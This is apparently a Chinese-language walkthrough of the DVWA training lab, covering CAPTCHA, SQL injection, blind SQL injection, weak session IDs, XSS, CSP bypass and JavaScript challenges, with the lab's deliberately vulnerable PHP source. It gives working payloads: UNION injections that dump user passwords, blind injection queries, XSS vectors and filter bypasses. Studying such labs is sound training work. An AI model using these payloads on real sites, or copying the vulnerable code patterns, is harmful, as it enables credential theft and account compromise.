<?php if( isset( $_POST[ 'Change' ] ) ) {// Hide the CAPTCHA form$hide_form = true; // Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']); if ($resp || ($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')){// CAPTCHA was correct. Do both new passwords match?if ($pass_new == $pass_conf) {$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new ); // Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for userecho "<pre>Password Changed.</pre>"; } else {// Ops. Password mismatch$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;} } else {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
Impossible
源代码:
<?php if( isset( $_POST[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Hide the CAPTCHA form$hide_form = true; // Get input$pass_new = $_POST[ 'password_new' ];$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new ); $pass_conf = $_POST[ 'password_conf' ];$pass_conf = stripslashes( $pass_conf );$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_conf = md5( $pass_conf ); $pass_curr = $_POST[ 'password_current' ];$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr ); // Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']); // Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectlyecho "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;}else {// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute(); // Do both new password match and was the current password correct?if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {// Update the database$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute(); // Feedback for the end user - success!echo "<pre>Password Changed.</pre>";}else {// Feedback for the end user - failed!echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";$hide_form = false;}} } // Generate Anti-CSRF token generateSessionToken(); ?>
需要知道原密码,在不知道原密码的情况下,无法攻击成功。
SQL Injection
Low
这里是没有任何防护的sql注入。
如果在注入过程中出现Illegal mix of collations for operation ‘UNION‘
报错,可以参考这篇文章
首先输入1+1,发现id显示为1+1,并没有运算,可以判断是字符型,输入1'发现有报错信息,说明存在注入。
判断列数:1’ order by 2 # 1' order by 3 # 据此判断,有两列。
判断显示位:1' union select 1,2 #
获取数据库名:1' union select 1,database() #
获取表名:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
获取列名:1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获取数据:1' union select password,user from users #
源代码:
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ]; // Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"]; // Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";} mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
Medium
这个级别的只允许用户选择,使用BP抓包处理。然后进行修改。
判断列数:1 order by 2 # 1 order by 3 # 据此判断,有两列。
判断显示位:1 union select 1,2 #
获取数据库名:1 union select 1,database() #
获取表名:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
获取列名:1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获取数据:1 union select password,user from users #
源代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last = $row["last_name"]; // Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";} } // This is used later on in the index.php page //在这里进行设置,以便我们能够像其他源代码脚本一样在这里关闭数据库连接。 $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
High
这关点击会跳转页面,然后进行注入即可,回显在原页面上。
判断列数:1’ order by 2 # 1' order by 3 # 据此判断,有两列。
判断显示位:1' union select 1,2 #
获取数据库名:1' union select 1,database() #
获取表名:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
获取列名:1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获取数据:1' union select password,user from users #
源代码:
<?php if( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ]; // Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"]; // Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Impossible
源代码:设置了token值
<?php if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input$id = $_GET[ 'id' ]; // Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch(); // Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ]; // Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}} } // Generate Anti-CSRF token generateSessionToken(); ?>
SQL Injection (Blind)
Low
输入1和1'都正常执行
猜数据库名长度:1' and length(database())=x #(替换x看回显判断正确与否)
猜数据库名: 1' and ascii(substr(database(),1,1))=100 # (修改substr函数中第一个1改变截取位置,修改后面的100判断数据)可以使用BP进行暴力破解。
猜表的数量:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
猜表名的长度:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #
猜表名:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=x
列的情况一样。
源代码:
<?php if( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ]; // Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Medium
使用BP抓包,修改数据进行盲注,和上一个一样。
源代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';} //mysql_close(); } ?>
High
同样是盲注,点击后进行注入即可。
源代码:
<?php if( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ]; // Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );} // User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Impossible
源代码:设置了token值
<?php if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input$id = $_GET[ 'id' ]; // Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute(); // Get resultsif( $data->rowCount() == 1 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}} } // Generate Anti-CSRF token generateSessionToken(); ?>
Weak Session IDs(会话劫持)
Low
获取页面的session值,清除数据或者到别的浏览器登录,通过修改session值和使dvwaSession+1进行密码绕过登录。
源代码:
<?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id'])) {$_SESSION['last_session_id'] = 0;}$_SESSION['last_session_id']++;$cookie_value = $_SESSION['last_session_id'];//验证cookiesetcookie("dvwaSession", $cookie_value); } ?>
Medium
这一级别的dvwasession不是简单的次数,而是使用了时间戳,使用时间戳和session进行绕过。
时间戳:自协调世界时(UTC)的1970年1月1日00:00:00起至现在所经过的秒数。
源代码:
<?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = time();//时间戳setcookie("dvwaSession", $cookie_value); } ?>
High
这次的dvwasession使用了MD5加密,明文会加1,然后使用MD5加密。
源代码:
<?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id_high'])) {$_SESSION['last_session_id_high'] = 0;}$_SESSION['last_session_id_high']++;//明文+1$cookie_value = md5($_SESSION['last_session_id_high']);//MD5加密setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false); } ?>
Impossible
源代码:使用了随机的session id值。
<?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = sha1(mt_rand() . time() . "Impossible");setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true); } ?>
XSS (DOM)
Low
选择一个后在url中输入:<script>alert(1)</script>即可。
源代码:
<?php # No protections, anything goes(没有保护,为所欲为) ?>
Medium
查看页面源代码可以看见输入的数据在这里。需要进行闭合,输入:</select><img src=1 οnerrοr=alert(1)>
源代码:
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {header ("location: ?default=English");exit;} } ?>
High
使用了白名单,只能出现选项的单词,使用#可以进行注释。
输入:French#<script>alert(1)</script>,#后的数据不会被发送到服务端。
源代码:
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;} } ?>
Impossible
源代码:
<?php # Don't need to do anything, protction handled on the client side(不需要做任何事情,保护由客户端处理) ?>
XSS (Reflected)
Low
没有保护,输入:<script>alert(1)</script>即可。
源代码:
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
Medium
过滤了<script>,可以使用大小写绕过,输入:<sCript>alert(1)</script>
源代码:
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );//过滤<script> // Feedback for end userecho "<pre>Hello ${name}</pre>"; } ?>
High
使用preg_replace()函数进行正则过滤<script>标签,输入:<img src=1 οnerrοr=alert(1);>
源代码:
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );//使用preg_replace()函数进行正则过滤<script>标签 // Feedback for end userecho "<pre>Hello ${name}</pre>"; } ?>
Impossible
源代码:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input$name = htmlspecialchars( $_GET[ 'name' ] );//html实体化 // Feedback for end userecho "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken();//得到token ?>
XSS (Stored)
Low
在留言处直接进行输入:<script>alert(1)</script>
源代码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
Medium
在留言处进行大小写绕过:<scripT>alert(1)</sCript>
源代码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );//html实体化 // Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
High
过滤了<script>标签,输入:<img src=1 οnerrοr=alert(/name/)>
源代码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message ); // Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
Impossible
源代码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );//有了token // Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message ); // Sanitize name input$name = stripslashes( $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$name = htmlspecialchars( $name ); // Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute(); } // Generate Anti-CSRF token generateSessionToken();//获取token ?>
设置了token,并且对所有参数都做了严格过滤。
CSP Bypass
Low
打开网络可以发现一个信任的网站,打开网站,创建新的paste:alert("1"),创建完成后点击raw,复制url输入回去即可。
源代码:
<?php $headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics. header($headerCSP); # These might work if you can't create your own for some reason # https://pastebin.com/raw/R570EE00 # https://hastebin.com/raw/ohulaquzex ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= "<script src='" . $_POST['include'] . "'></script> //POST传参 "; } $page[ 'body' ] .= ' <form name="csp" method="POST"><p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" /> </form> ';
Medium
同样打开网络查看,输入:<script nonce='TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='>alert(11)</script>即可。
High
源代码:
<?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= "" . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"><p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" /> </form> <script src="source/high.js"></script> ';
在high.php中设置了csp头,规定只允许从同源的脚本加载,提交表单的时候,如果存在POST形式的include参数,游览器执行clickbutton,动态创建<script>元素,将src属性设置为‘source/jsonp.php?callback=solveSum’(json.php是一个远程脚本的url),加载远程脚本,返回数据给solveSum,展示到页面。
POST输入:include=<script src="source/jsonp.php?callback=alert('1');"></script>
Impossible
源代码:
<?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= "" . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"><p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" /> </form> <script src="source/impossible.js"></script> ';
JavaScript
low
在phrase框里面进行输入:success,打开控制台,执行generate_token()函数,再点击submit即可。
在generate_token()函数中是进行了MD5和rot13的双重加密,先rot13,再MD5,也可以在控制台得到加密的数据,抓包修改即可。
Medium
输入ChangeMe抓包看到token为XXeMegnahCXX,猜测是将数据反写后前后加XX,修改success的token为:XXsseccusXX
修改成功。
源代码:
<?php $page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>'; ?>
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}
high
查看页面源代码可找到js代码,下图点开就是,使用js编译器,success运行代码,得到加密结果:ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84,修改token即可。
Impossible
无